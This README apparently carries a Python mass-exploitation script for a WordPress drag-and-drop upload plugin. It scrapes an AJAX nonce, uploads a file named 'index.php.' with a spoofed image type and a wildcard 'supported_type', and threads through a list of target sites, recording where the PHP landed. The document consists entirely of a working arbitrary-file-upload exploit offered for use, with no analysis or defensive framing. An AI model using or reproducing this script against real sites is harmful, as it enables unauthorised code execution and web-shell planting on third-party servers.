README.md
Rendering markdown...
import requests
import re
import os
from concurrent.futures import ThreadPoolExecutor
from urllib.parse import urlparse
def normalize_url(url):
url = url.strip()
if not url.startswith(('http://', 'https://')):
url = f'https://{url}'
return url.rstrip('/')
def get_nonce_and_cookies(target_url):
try:
session = requests.Session()
response = session.get(target_url, timeout=10)
# Extract nonce from JavaScript variable
nonce_match = re.search(r'"nonce":"([a-f0-9]+)"', response.text)
nonce = nonce_match.group(1) if nonce_match else None
if not nonce:
print(f"[!] Could not extract nonce from {target_url}")
return None, None
return nonce, session.cookies.get_dict()
except Exception as e:
print(f"[!] Error processing {target_url}: {str(e)}")
return None, None
def upload_file(target_url, nonce, cookies):
try:
upload_url = f"{target_url}/wp-admin/admin-ajax.php"
test_file = "index.php."
if not os.path.exists(test_file):
print(f"[!] File {test_file} not found in current directory")
return False, None
with open(test_file, 'rb') as f:
files = {
'dnd-wc-upload-file': (test_file, f, 'image/jpeg')
}
data = {
'action': 'dnd_codedropz_upload_wc',
'_ajax_nonce': nonce,
'supported_type': '.',
'size_limit': '99999999999999999999999999'
}
headers = {
'Referer': target_url
}
response = requests.post(
upload_url,
files=files,
data=data,
cookies=cookies,
headers=headers,
timeout=15
)
if response.status_code == 200:
result = response.json()
if 'file' in result.get('data', {}):
if 'index' in result['data']['file'].lower():
upload_path = f"{target_url}/wp-content/uploads/wc_drag-n-drop_uploads/tmp_uploads/{result['data']['file']}"
return True, upload_path
return False, None
except Exception as e:
print(f"[!] Upload failed to {target_url}: {str(e)}")
return False, None
def process_target(raw_url):
target_url = normalize_url(raw_url)
print(f"[*] Testing {target_url}")
nonce, cookies = get_nonce_and_cookies(target_url)
if not nonce:
return
success, file_url = upload_file(target_url, nonce, cookies)
if success:
print(f"[+] Vulnerable: {file_url}")
with open("result.txt", "a") as result_file:
result_file.write(f"{file_url}\n")
else:
print(f"[-] Not vulnerable: {target_url}")
def main():
if not os.path.exists("list.txt"):
print("[!] list.txt not found")
return
custom_file = "index.php."
if not os.path.exists(custom_file):
print(f"[!] {custom_file} not found in current directory")
print("[*] Please create a file named 'index.php.' (with the dot) in the same directory")
return
with open("list.txt", "r") as f:
targets = [line.strip() for line in f if line.strip()]
print(f"[*] Loaded {len(targets)} targets")
print(f"[*] Using custom file: {custom_file}")
# Threading for faster processing
with ThreadPoolExecutor(max_workers=5) as executor:
executor.map(process_target, targets)
print("[*] Scan completed. Check result.txt for vulnerable sites")
if __name__ == "__main__":
main()